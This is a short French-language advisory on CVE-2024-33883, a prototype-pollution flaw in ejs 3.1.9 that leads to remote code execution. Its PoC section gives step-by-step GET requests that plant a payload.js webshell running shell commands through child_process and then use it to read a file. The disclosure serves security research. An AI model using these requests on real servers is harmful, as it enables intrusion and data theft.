CVE-2024-33883

[email protected], Validation insuffisante de la pollution du prototype menant à une exploitation RCE

Avec la pollution du prototype, définir opts.client sur une valeur véridique (condition)
Ensuite, lorsque render() s'exécute, ejs exécutera la valeur de opts.escapeFunction comme code JS.

Plage de code vulnérable

1. ejs/lib/ejs.js - lignes 580, 636, 637

PoC (Injecter un webshell et activer)

1. GET /pollute?target=client&value=1

2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");

3. GET /
- Inject webshell

4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");

5. GET /
- Activate webshell

PoC-CVE-2024-33883

Populaires

Condition d'attaque possible

Comment prévenir cette attaque ?